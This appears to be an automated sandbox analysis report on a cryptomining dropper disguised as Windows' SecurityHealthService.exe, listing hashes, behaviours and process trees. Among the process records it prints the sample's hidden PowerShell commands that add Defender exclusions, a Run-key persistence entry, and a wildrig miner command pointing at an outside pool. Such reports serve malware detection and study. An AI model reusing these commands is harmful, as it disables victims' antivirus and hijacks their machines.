Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
11/10/2026, 18:29
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
SecurityHealthService.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
SecurityHealthService.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
11 signatures
150 seconds
General
- Target SecurityHealthService.exe
- Size 2.1MB
- Sample261011-w5bbqavycv
- SHA256 94c0eb6379ad7f1a52279a152b934504ae7f68c9e5a4b09833acab963301e3ae
- MD5 6e3db997422e5564c28d661d5d32e9bb
- SHA1 36606fc465c0b67127319e2cd9376ea57e5d7218
- SHA512 e70aeecf1184ceb7d1a5559b5f77db038f2b2add89a3ac395cda33104a7b896b03ea1ba25fa876044edeac826b594b0aa1beb718df9176c38c3816eaa64e996a
- SSDEEP 49152:2q/GUQrHoyYM57oil3i10+1ud1Q2ToxXgYYIU6ie2:QOM9HY0QgYn+
- TLSH T169A58D03E69581F8D1ADC078C3579633EA32B88D4A34B2EB67D05B113E26F906F2D719
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs
Run Powershell and hide display window.
pid Process 3256 powershell.exe 1212 powershell.exe 4064 powershell.exe 4812 powershell.exe 1932 powershell.exe 1184 powershell.exe 4400 powershell.exe 4972 powershell.exe 1852 powershell.exe 3580 powershell.exe 2760 powershell.exe 4064 powershell.exe 4400 powershell.exe 4972 powershell.exe 1852 powershell.exe 3580 powershell.exe 2760 powershell.exe 3256 powershell.exe 1212 powershell.exe 4812 powershell.exe 1932 powershell.exe 1184 powershell.exe - Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Executes a file named after a Windows system binary 1 TTPs 4 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
description ioc Process File opened (read-only) C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe SecurityHealthService.exe File opened (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe SecurityHealthService.exe File opened (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe SecurityHealthService.exe File opened (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe SecurityHealthService.exe - Executes dropped EXE 3 IoCs
pid Process 2124 SecurityHealthService.exe 3728 SecurityHealthService.exe 1284 wildrig.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\SecurityHealthService.exe" SecurityHealthService.exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\SecurityHealthService.exe" SecurityHealthService.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname SecurityHealthService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain SecurityHealthService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname SecurityHealthService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain SecurityHealthService.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 856 SecurityHealthService.exe 856 SecurityHealthService.exe 856 SecurityHealthService.exe 856 SecurityHealthService.exe 2760 powershell.exe 2760 powershell.exe 1932 powershell.exe 1932 powershell.exe 1932 powershell.exe 1184 powershell.exe 1184 powershell.exe 1184 powershell.exe 2124 SecurityHealthService.exe 2124 SecurityHealthService.exe 2124 SecurityHealthService.exe 2124 SecurityHealthService.exe 3256 powershell.exe 3256 powershell.exe 3256 powershell.exe 1212 powershell.exe 1212 powershell.exe 1212 powershell.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 4064 powershell.exe 4064 powershell.exe 4064 powershell.exe 4400 powershell.exe 4400 powershell.exe 4400 powershell.exe 4812 powershell.exe 4812 powershell.exe 4812 powershell.exe 4972 powershell.exe 4972 powershell.exe 4972 powershell.exe 1852 powershell.exe 1852 powershell.exe 1852 powershell.exe 3580 powershell.exe 3580 powershell.exe 3580 powershell.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 1284 wildrig.exe 1284 wildrig.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe 3728 SecurityHealthService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2760 powershell.exe Token: SeIncreaseQuotaPrivilege 2760 powershell.exe Token: SeSecurityPrivilege 2760 powershell.exe Token: SeTakeOwnershipPrivilege 2760 powershell.exe Token: SeLoadDriverPrivilege 2760 powershell.exe Token: SeSystemProfilePrivilege 2760 powershell.exe Token: SeSystemtimePrivilege 2760 powershell.exe Token: SeProfSingleProcessPrivilege 2760 powershell.exe Token: SeIncBasePriorityPrivilege 2760 powershell.exe Token: SeCreatePagefilePrivilege 2760 powershell.exe Token: SeBackupPrivilege 2760 powershell.exe Token: SeRestorePrivilege 2760 powershell.exe Token: SeShutdownPrivilege 2760 powershell.exe Token: SeDebugPrivilege 2760 powershell.exe Token: SeSystemEnvironmentPrivilege 2760 powershell.exe Token: SeRemoteShutdownPrivilege 2760 powershell.exe Token: SeUndockPrivilege 2760 powershell.exe Token: SeManageVolumePrivilege 2760 powershell.exe Token: 33 2760 powershell.exe Token: 34 2760 powershell.exe Token: 35 2760 powershell.exe Token: 36 2760 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe Token: 36 1932 powershell.exe Token: SeDebugPrivilege 1184 powershell.exe Token: SeIncreaseQuotaPrivilege 1184 powershell.exe Token: SeSecurityPrivilege 1184 powershell.exe Token: SeTakeOwnershipPrivilege 1184 powershell.exe Token: SeLoadDriverPrivilege 1184 powershell.exe Token: SeSystemProfilePrivilege 1184 powershell.exe Token: SeSystemtimePrivilege 1184 powershell.exe Token: SeProfSingleProcessPrivilege 1184 powershell.exe Token: SeIncBasePriorityPrivilege 1184 powershell.exe Token: SeCreatePagefilePrivilege 1184 powershell.exe Token: SeBackupPrivilege 1184 powershell.exe Token: SeRestorePrivilege 1184 powershell.exe Token: SeShutdownPrivilege 1184 powershell.exe Token: SeDebugPrivilege 1184 powershell.exe Token: SeSystemEnvironmentPrivilege 1184 powershell.exe Token: SeRemoteShutdownPrivilege 1184 powershell.exe Token: SeUndockPrivilege 1184 powershell.exe Token: SeManageVolumePrivilege 1184 powershell.exe Token: 33 1184 powershell.exe Token: 34 1184 powershell.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4192 ShellHost.exe 3916 ShellHost.exe 4600 ShellHost.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 856 wrote to memory of 5476 856 SecurityHealthService.exe 90 PID 856 wrote to memory of 2760 856 SecurityHealthService.exe 92 PID 856 wrote to memory of 1932 856 SecurityHealthService.exe 95 PID 856 wrote to memory of 1184 856 SecurityHealthService.exe 97 PID 2124 wrote to memory of 4344 2124 SecurityHealthService.exe 102 PID 856 wrote to memory of 3256 856 SecurityHealthService.exe 104 PID 856 wrote to memory of 1212 856 SecurityHealthService.exe 106 PID 856 wrote to memory of 3728 856 SecurityHealthService.exe 108 PID 3728 wrote to memory of 4940 3728 SecurityHealthService.exe 110 PID 3728 wrote to memory of 4064 3728 SecurityHealthService.exe 112 PID 3728 wrote to memory of 4400 3728 SecurityHealthService.exe 114 PID 3728 wrote to memory of 4812 3728 SecurityHealthService.exe 116 PID 3728 wrote to memory of 4972 3728 SecurityHealthService.exe 118 PID 3728 wrote to memory of 1852 3728 SecurityHealthService.exe 121 PID 3728 wrote to memory of 3580 3728 SecurityHealthService.exe 123 PID 3728 wrote to memory of 1284 3728 SecurityHealthService.exe 125 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe"C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe"1⤵
- Executes a file named after a Windows system binary
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:856 -
C:\Windows\system32\schtasks.exe"schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F2⤵PID:5476
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2760
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1184
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3256
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1212
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe"2⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\system32\schtasks.exe"schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F3⤵PID:4940
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4064
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4400
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4812
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4972
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1852
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3580
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\wildrig.exe"C:\Users\Admin\AppData\Roaming\Microsoft\wildrig.exe" --algo pearl --url pool.pearlhash.xyz:9000 --user prl1p6j7535grpua5raq8vsprv0vun86axea2j0t2m0l484yewu84helqslhdwz.worker --pass x --background3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1284
-
-
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
PID:4192
-
C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exeC:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\schtasks.exe"schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F2⤵PID:4344
-
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
PID:3916
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
PID:4600
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a3a4b6fedf55126bc425e0eeb18c369580170918cd5cfd2dc23f1decb04f3331
- MD5 610f1ecd9a70b875ee49282500ef41e5
- SHA1 6eb7fec17c832f3cadf45bb94e142192a7ddd20a
- SHA512 90060ad8e88691c1b45ba0efe16028c98a0e39a1de8fe684d2f6f81803df7aab049e20a337f3067ceb5f0e1f44a2b1e8a4a67e4d9e50f653a9a98c378946999c
- TLSH T17F219833B3CC8624C89A013A10CDAC1036B6C7CB40DECFAB7B80E659A43F698CE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 95805aca92036f42ad8e32097a40563f55de2fb99988a6bc9517192a1896fe05
- MD5 cdf5204bf674941f3bd9b1b0f094ebb8
- SHA1 dce6415cd6784fa742d96ff1f98189d26101a28a
- SHA512 4fe7ee48a3daf5982722ca3fcfe51f899dcb26a419b53d720a5ca48c8d2d4009d8745a8d0cfff25ab7b2752d2ba50bf20874f834e831caa2c1cbd2349b1b3605
- TLSH T177216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f593a5bc18c609f44f0ab9d2d72046b7ff5d2841494193e5ef06bbd8028cfb5d
- MD5 69f19c63d57747dd202a1435a52e62bb
- SHA1 37fed3f373ef2608be0f6ecfba2285a9af04c58b
- SHA512 9a6e458a9d6f5af2d75cafddb571d7bd86f244ba0146cdedfe057bf2f9dc56012141f5ab646f933d0306f052579f49c030c03b9562828ca86166bdf2eb616749
- TLSH T19D216837B3DD8624CC9A413A10CDAD1036B6CBDB40DECE5B7B85E655A43F699CE61060
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c36b9d47e0577bc54d59a1d5ffdd44e85d1835d4f8640cfa25e325165b69e011
- MD5 67b07c06fe99118ba21422754ca92ce0
- SHA1 a8b5c042cf4a8ec2836395bc4cc7fe8a263657b3
- SHA512 f3ec9293c205522cf98884d353abcd918a57854c408f46be6295fdc00d79c01c677526c0df5e8448318c9adc0858f7c9223b2cfcd0171fc348feb03af375fe32
- TLSH T17C216837B3DD8614C89A413A10CDAD1036B6CBDB40DECE5B6B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 ae2e7d790f2742a5dce4d5f9ba4ef1497b4a84d901d24cafea863da4eee1e3f4
- MD5 a4aec139bde2e9c3d39bcfc0bf1e1218
- SHA1 d52cbd9c6ac31bf24800fe0db3efcf2ace0b9aac
- SHA512 2038d666c935168efd3d42528eb713e351804330a43311eedfb327c1da681034bfdb3f7ff0d62f9e9e2352eed0d060b966b3a7666b9145977459f60e09bd4df1
- TLSH T19C216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8723dc2574dafbb2924f503a8ed17fc605cafc446e8722a7fee05a0dff22b862
- MD5 f4dfbb4777637096d55c04fb2661dee5
- SHA1 dbe01b4a0f408a9f2384c14248cbb361cebb5e7c
- SHA512 5888c981150b0952b9ac31793e0cfc61dbec475260e0e7e74e7e9bedc0f78c27f25eabb560c61d9034f5ae742cedd22833f86a04d41344db68df2e07bb2206c5
- TLSH T180219833B3CC8624C89A013A10CDAC1036B6C7CB40DECFAB6B80E655A43F698CE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 1f69320870f7ed8c31491482d9d76ce7460a0f2c294d4751cefcad978015ad7f
- MD5 ff8ec3ec22da374af4db2f226e9961b3
- SHA1 23c7fb8303df65e22aefb634187e88505bad6ab3
- SHA512 cb6beed209a562b0552a66d35301dba4e0cf0948119216843846400e224f2c5bbbb4ab3bdae87912800ddb5024044590e4d2560b3fd84b4b1556af96bf3d709e
- TLSH T141216837B3DD8614C89A413A10CDAD1036B6CBDB40DECE5B6B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 6c0e51867b97402c1fe72ecc42a91f2ce8d5daddd0e0aa13ca77717e4bc55260
- MD5 f334d7deb0265bd4f49241ceae33bb28
- SHA1 48d3c135424e8f1707078da0ae325a50d8625720
- SHA512 57b76e9dd9791de0d51d0407ea4530cc5f05781f7deeeb5dbd5a99f01a3dbdca25c1a836ae1fe05ec1d569cda56e2a2b9bf49e387f1f767f25644a0808c998a0
- TLSH T11D216837B3DD8614CC9A413A10CDAD1036B6CBDB40DECE5B6B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f7680072ca5221cf2d0f5ef9769a208e6ade25923ae1978cfe80fbdc4748dc3a
- MD5 eb72d559eabf90cedffc8b7cf6f6f8c4
- SHA1 d6e019d739b4449f763fe58f6328967e2ca1dd0e
- SHA512 077a72e9235386248102f36ab70fd5691aed539416f813bed543681cd2d1caf0d40edd1647933f49412f83cf7d422518cbf1602043709365b25c4cc7267e92a5
- TLSH T16B216837B3DD8614C89A413A10CDAD1036B6CBDB40DECF5B6B84E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_in2utrog.w3p.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
- Size 2.1MB
- SHA256 94c0eb6379ad7f1a52279a152b934504ae7f68c9e5a4b09833acab963301e3ae
- MD5 6e3db997422e5564c28d661d5d32e9bb
- SHA1 36606fc465c0b67127319e2cd9376ea57e5d7218
- SHA512 e70aeecf1184ceb7d1a5559b5f77db038f2b2add89a3ac395cda33104a7b896b03ea1ba25fa876044edeac826b594b0aa1beb718df9176c38c3816eaa64e996a
- SSDEEP 49152:2q/GUQrHoyYM57oil3i10+1ud1Q2ToxXgYYIU6ie2:QOM9HY0QgYn+
- TLSH T169A58D03E69581F8D1ADC078C3579633EA32B88D4A34B2EB67D05B113E26F906F2D719
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\config_cache.json
- Size 1KB
- SHA256 ddfa73217140cfe01a1d880fe6764868219bfd42c6b861c23a7dbaa48dc0e323
- MD5 6229cacdc1ce021ff2902aad4280aebb
- SHA1 a55a0d7d4a8d90cbc5748dfa6ab378d96c243662
- SHA512 9e3dbda8a4748cd7005ed49fbd22e17ca9abbd22e44718e84b07a7e16d21d5e34f60b4926f45d27f07977b3b85745f0f0d32428696d2efaffd90385f44ed4896
- TLSH T128117573CA4D14B98FE155E061AE3317A24F607747975C999B3CC00C50D3431024FDE5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\help.txt
- Size 6KB
- SHA256 036cd84d4b9920d3a6451ab881f393ead182955b3bca778b6c6c7820c36e406b
- MD5 04e1f70ef547517d634b0e4a344cad26
- SHA1 3acd6d1e10404fbfe69a41ed7ffe7a0b9f824559
- SHA512 915173949d26308131e79a3cc9c6887526553be048ba26103f5ac1845a367ea5753795ab5c1e73e3a1c553e3900fa020c7a1b96f7038cd5d93e96dbcba2643ed
- SSDEEP 192:GPn3HTubpCbA5ZbGdbI/wgTuX/Tc6/HA+7xyu:G/XiKgTuXJ/gCxj
- TLSH T194D16213BE01A351427E86137EE3A9A2E33E942B16127D143DFDD0117F7B14592A9BF8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\license.txt
- Size 444B
- SHA256 ede19e0487a88a4a77605058dc478bf114cb89b4d11d095378d3e945644d6bed
- MD5 80d1c5afbc6ca5402d03f9c5e72a5204
- SHA1 5514e70ea875e6f8d2b7981b470342baeff2e03f
- SHA512 a4cf735c9faa60b312dfb463533de227622c8f3862f9542c36f20aa7d0b70faf0b6fb5da1731598715c57a3413599a569193bc390a8749b7fcb66612dd0d9a3f
- TLSH T198F054DD71D11F85182476743C706C5876EAE5572C976A0414E7F106873517DF8FF804
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\print-devices.bat
- Size 140B
- SHA256 3553e4ff820b8e8e5ed3738a845d1e9ddcb0f3d8a247cbc2917e22afcc386e3e
- MD5 2cb127a95a10f6601f20200003c04c44
- SHA1 79aa6e6c1013ab090a563ea1ff12aec9c9d2c915
- SHA512 c128da14882ff42bb8b1e4becb3fa687b7a38c68b4a6bbabc2c0ef09ddf52bb5ee439feea651034ec6aa6a662b9bbb4e67004646cfb3799d1457c14314c41d0b
- TLSH T188C08C42302700C4A0144DD8A87F1100AC43018B90A73E407E128030DC0A080E32A7B9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\print-help.bat
- Size 89B
- SHA256 fce3e8f00f8bf537c40e1a72bf4c676ea9dfb1c6f23d6891f850f8951f31c2e4
- MD5 5a53153c61d094cbf25948157b5fcb9e
- SHA1 8ff33da1ee22bb0ebe4435f8306af779a0614356
- SHA512 70f063713a7bb058a9c244db2d06e5683094b65cea6d916dde93e3d30d5c63a230421efd893d2adc8b73e1ec4c049dd63ee4a688b10ec8a74fedddbabcecb8cf
- TLSH T198B01213041704D490005C90107F0144BC070052A4139405FF2050A53C0744283D63F9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\readme.txt
- Size 234B
- SHA256 8b14f1bf13404ac148bf01930985425aad0dc85c16a702d7e67be08b9d50b2b6
- MD5 17cc6ed51fb7f345cf021a6974fe6d33
- SHA1 3b018e4f300a9be1d1ee8a8e2f478dddd7fbb6a1
- SHA512 ba88856d9bcff90792512f757f65b85bdb8c841474b2efdb90d945cb861b1e53a28470b885bcb2a233d805d0f8a37e27959f30ca573b8069a019e4b7e42cb8d4
- TLSH T1A6D0A72757894226232006D55248534D729BA25E385A51A3F560901C60C76AB946F9D8
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\wildrig.exe
- Size 40.2MB
- SHA256 c656c5c29c98b2d9167f73d9f9237823f790f5aadd3848322c5997a257798788
- MD5 659fd028e49b9df1cff4fc35db524fe0
- SHA1 cf08959e582e58826d4fbdf1ae4172250d72a5f7
- SHA512 6af9b03497e7686bc7ada7abc71411525125e1f6ce8027c58dbddbcce545d4697ac06fb32f58ba74eee53c3b95a923e8ef47c6fcd5c07b764270c207ca21f622
- SSDEEP 786432:JigXzHPadVLJK4cIy1Uz6hN4h+meQNNsXlSke2dESrlb:JigXOdtiTN4hPRAVJe2Drl
- TLSH T1D59733867DD482ADC885C774D2453EEDE4E838688CB9542FBFC508016E3DE96C8F6936
- MD5 SHA1 SHA512 SSDEEP TLSH